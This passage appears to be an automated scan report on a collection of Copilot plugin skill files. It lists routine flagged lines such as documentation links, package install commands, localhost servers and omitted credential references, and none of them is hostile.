    [Credential-related source omitted]
  • Network accessline 263
    - [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm)
  • Network accessline 264
    - [Developer hub](https://developer.rhino3d.com/)
  • Network accessline 265
    - [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm)
  • Network accessline 266
    - [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)

harness/github-copilot/plugins/creative-media-tooling/skills/rhino3d-scripts/references/macros-and-loading.md

  • Access to secretsline 118
    [Credential-related source omitted]

harness/github-copilot/plugins/creative-media-tooling/skills/slang-shader-engineer/references/language-reference.md

  • Network accessline 3
    **Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 4
    **Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation")
  • Network accessline 5
    **Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)

harness/github-copilot/plugins/creative-media-tooling/skills/slang-shader-engineer/references/slang-documentation-full.md

  • Network accessline 3
    Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 1311
    git clone https://github.com/shader-slang/slang --recursive
  • Network accessline 1347
    # Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1348
    git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1479
    Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)

harness/github-copilot/plugins/creative-media-tooling/skills/transloadit-media-processing/SKILL.md

  • Network accessline 8
    license: "MIT" metadata:   compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI."
  • Network accessline 9
    metadata:   compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." ---
  • Network accessline 10
    compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI."
  • Network accessline 58
    Get your API credentials at https://transloadit.com/c/-/api-credentials
  • Network accessline 116
    "robot": "/image/resize",       "use": "resized",       "watermark_url": "https://example.com/logo.png",
  • Network accessline 117
    "use": "resized",       "watermark_url": "https://example.com/logo.png",       "watermark_position": "bottom-right",
  • Network accessline 118
    "watermark_url": "https://example.com/logo.png",
  • Network accessline 146
    "imported": {       "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 147
    "robot": "/http/import",       "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]     },
  • Network accessline 148
    "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"]
  • Network accessline 187
    - **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R
  • Network accessline 188
    - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co
  • Network accessline 189
    - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/

harness/github-copilot/plugins/csharp-dotnet-development/skills/csharp-mstest/SKILL.md

  • Network accessline 76
    | Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev
  • Network accessline 78
    | Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. |
  • Network accessline 123
    - [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext)
  • Network accessline 124
    - [Example GitHub work item URL](https://github.com/owner/repo/issues/42)

harness/github-copilot/plugins/csharp-dotnet-development/skills/dotnet-upgrade/SKILL.md

  • Network accessline 23
    - Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l
  • Network accessline 24
    - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09
  • Network accessline 25
    - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http
  • Network accessline 26
    - The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th

harness/github-copilot/plugins/data-engineering/skills/datanalysis-credit-risk/references/analysis.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/data-engineering/skills/datanalysis-credit-risk/references/func.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/data-engineering/skills/datanalysis-credit-risk/scripts/example.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/data-engineering/skills/pinecone-rag/SKILL.md

  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]

harness/github-copilot/plugins/data-engineering/skills/snowflake-semanticview/SKILL.md

  • Network accessline 130
    - [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation)
  • Network accessline 131
    - [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection)
  • Network accessline 132
    - [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view)
  • Network accessline 133
    - [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment)
  • Network accessline 134
    - [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)

harness/github-copilot/plugins/data-engineering/skills/sql-server-table-reconciliation/SKILL.md

  • Access to secretsline 86
    [Credential-related source omitted]

harness/github-copilot/plugins/data-engineering/skills/sql-server-table-reconciliation/scripts/reconcile.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]

harness/github-copilot/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder/SKILL.md

  • Access to secretsline 116
    [Credential-related source omitted]

harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/SKILL.md

  • Network accessline 458
    - [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)

harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/SKILL.md

  • Network accessline 21
    - Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output 
  • Network accessline 23
    - Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension.
  • Network accessline 41
    Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`.
  • Network accessline 45
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 46
    "version": 2,   "source": "https://excalidraw.com",   "elements": [],
  • Network accessline 47
    "source": "https://excalidraw.com",
  • Network accessline 182
    ### To view 1. Visit https://excalidraw.com
  • Network accessline 183
    1. Visit https://excalidraw.com
  • Network accessline 200
    - [Excalidraw](https://excalidraw.com)

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/excalidraw-schema.md

  • Network accessline 9
    type: "excalidraw";   version: number;           // Always 2   source: string;            // "https://excalidraw.com"
  • Network accessline 10
    version: number;           // Always 2   source: string;            // "https://excalidraw.com"   elements: ExcalidrawElement[];
  • Network accessline 11
    source: string;            // "https://excalidraw.com"
  • Network accessline 306
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 307
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 308
    "source": "https://excalidraw.com",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/icon-libraries.md

  • Network accessline 20
    1. Visit https://libraries.excalidraw.com/    2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file
  • Network accessline 41
    **Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/
  • Network accessline 42
    - Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file
  • Network accessline 271
    - This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/:
  • Network accessline 272
    - Examples of library categories you may find on https://libraries.excalidraw.com/:

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/README.md

  • Network accessline 27
    2. **Download and place library file**:    - Visit: https://libraries.excalidraw.com/
  • Network accessline 28
    - Visit: https://libraries.excalidraw.com/    - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file    - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib`
  • Network accessline 70
    1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/
  • Network accessline 77
    - Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-arrow.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/github-copilot/plugins/diagram-authoring/skills/plantuml-ascii/SKILL.md

  • Broad permissionsline 1
    Bash, Write, Read
  • Dangerous shell operationline 44
    sudo apt-get install plantuml  # Ubuntu/Debian
  • Dangerous shell operationline 45
    sudo yum install plantuml      # RHEL/CentOS
  • Network accessline 47
    # Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Network accessline 48
    wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar
  • Dangerous shell operationline 352
    - [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`.
  • Network accessline 356
    - [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)

harness/github-copilot/plugins/dotnet-desktop-development/skills/msstore-cli/SKILL.md

  • Network accessline 37
    Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate.
  • Network accessline 41
    1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center.
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Network accessline 139
    - [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview)
  • Network accessline 140
    - [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands)
  • Network accessline 141
    - [GitHub Repository](https://github.com/microsoft/msstore-cli)
  • Network accessline 142
    - [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services)
  • Network accessline 143
    - [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services)
  • Network accessline 144
    - [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights)
  • Network accessline 145
    - [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout)
  • Network accessline 146
    - [Partner Center](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 147
    - [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ)
  • Network accessline 148
    - [Manual releases](https://aka.ms/msstoredevcli/releases)

harness/github-copilot/plugins/dotnet-desktop-development/skills/msstore-cli/references/commands-and-workflows.md

  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 232
    # Initialize PWA msstore init https://contoso.com --output ./pwa-package
  • Network accessline 233
    msstore init https://contoso.com --output ./pwa-package
  • Access to secretsline 401
    [Credential-related source omitted]
  • Access to secretsline 498
    [Credential-related source omitted]

harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/SKILL.md

  • Network accessline 240
    - [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection)
  • Network accessline 241
    - [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage)
  • Network accessline 242
    - [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc)
  • Network accessline 243
    - [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host)
  • Network accessline 244
    - [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)

harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/references/dependency-injection.md

  • Network accessline 52
    > On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
  • Network accessline 54
    > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).

harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger/SKILL.md

  • Network accessline 302
    - Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger>
  • Network accessline 303
    - `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger>
  • Network accessline 304
    - Source: <https://github.com/CommunityToolkit/dotnet>

harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit/SKILL.md

  • Network accessline 277
    - Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/
  • Network accessline 278
    - WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro
  • Network accessline 279
    - Source: https://github.com/CommunityToolkit/dotnet
  • Network accessline 280
    - Samples: https://github.com/CommunityToolkit/MVVM-Samples

harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/end-to-end-walkthrough.md

  • Network accessline 8
    This walkthrough mirrors the official tutorial at <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.
  • Network accessline 9
    <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.

harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/troubleshooting.md

  • Network accessline 20
    Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 21
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 208
    - All `MVVMTK0xxx` errors:   <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 209
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 210
    - Source: <https://github.com/CommunityToolkit/dotnet>
  • Network accessline 211
    - Sample app: <https://aka.ms/mvvmtoolkit/samples>

harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/SKILL.md

  • Network accessline 31
    - **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available.
  • Network accessline 116
    | Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 117
    |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.type
  • Network accessline 118
    | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
  • Network accessline 119
    | `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` |
  • Network accessline 121
    For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to: `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 122
    `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
  • Network accessline 229
    - [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces
  • Network accessline 230
    - [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces

harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Invoke-WinMdQuery.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/Update-WinMdCache.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 127
    if (-not $bestMajor) {         Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"
  • Network accessline 128
    Write-Error "No .NET SDK >= 8.0 found. Install from https://dotnet.microsoft.com/download"

harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.json

  • Network accessline 21
    ],         "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 22
    "sources": {           "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}         },
  • Network accessline 23
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.props

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  • Network accessline 2
    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targets

  • Network accessline 1
    <U+FEFF><?xml version="1.0" encoding="utf-8" standalone="no"?> <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />
  • Network accessline 2
    <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />

harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/scripts/cache-generator/obj/project.assets.json

  • Network accessline 2117
    ],       "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}
  • Network accessline 2118
    "sources": {         "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}       },
  • Network accessline 2119
    "https://packagefeedproxy.microsoft.io/nuget/v3/index.json": {}

harness/github-copilot/plugins/ember/skills/daily-focus-board/SKILL.md

  • Network accessline 61
    1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b
  • Network accessline 62
    2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr
  • Network accessline 63
    3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`.
  • Network accessline 64
    4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen
  • Network accessline 111
    **Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html`
  • Network accessline 112
    **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>`
  • Network accessline 113
    **Open URL:** `http://localhost:8799/focus-board.html`

harness/github-copilot/plugins/ember/skills/daily-focus-board/references/neurodivergent-design.md

  • Network accessline 50
    - **Executive function — task initiation, activation energy, time management, working memory** —   CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f
  • Network accessline 51
    CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/   - *Executive Function Issues and ADHD* (Brown & Barkley models) —
  • Network accessline 52
    - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/
  • Network accessline 53
    - *Executive Function Issues and ADHD* (Brown & Barkley models) —     https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise
  • Network accessline 54
    https://chadd.org/attention-article/executive-function-issues-and-adhd/
  • Network accessline 55
    - **Body doubling** — focus improving in the presence of a partner; the board's core premise   ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 56
    ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the
  • Network accessline 57
    https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 59
    `prefers-reduced-motion` setting:   - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 60
    - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion   - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —
  • Network accessline 61
    https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 62
    - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —     https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious
  • Network accessline 63
    https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html
  • Network accessline 64
    - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership   Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 65
    Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):
  • Network accessline 66
    https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 67
    - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):   - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix   - Todoist, *The Eisenhower Matrix* — https://todoist
  • Network accessline 68
    - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix
  • Network accessline 69
    - Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix
  • Network accessline 71
    self-compassion.org — https://self-compassion.org/

harness/github-copilot/plugins/ember/skills/daily-focus-board/references/tutorial.md

  • Network accessline 22
    1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives    you an `http://localhost:…/…html` URL.
  • Network accessline 23
    you an `http://localhost:…/…html` URL.
  • Network accessline 34
    > localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking

harness/github-copilot/plugins/ember/skills/daily-focus-board/scripts/serve-board.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File"
  • Network accessline 19
    } $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url"
  • Network accessline 20
    $url = "http://localhost:$Port/$File"

harness/github-copilot/plugins/eyeball/skills/eyeball/tools/eyeball.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 567
    [Credential-related source omitted]
  • Access to secretsline 572
    [Credential-related source omitted]

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CLI.md

  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
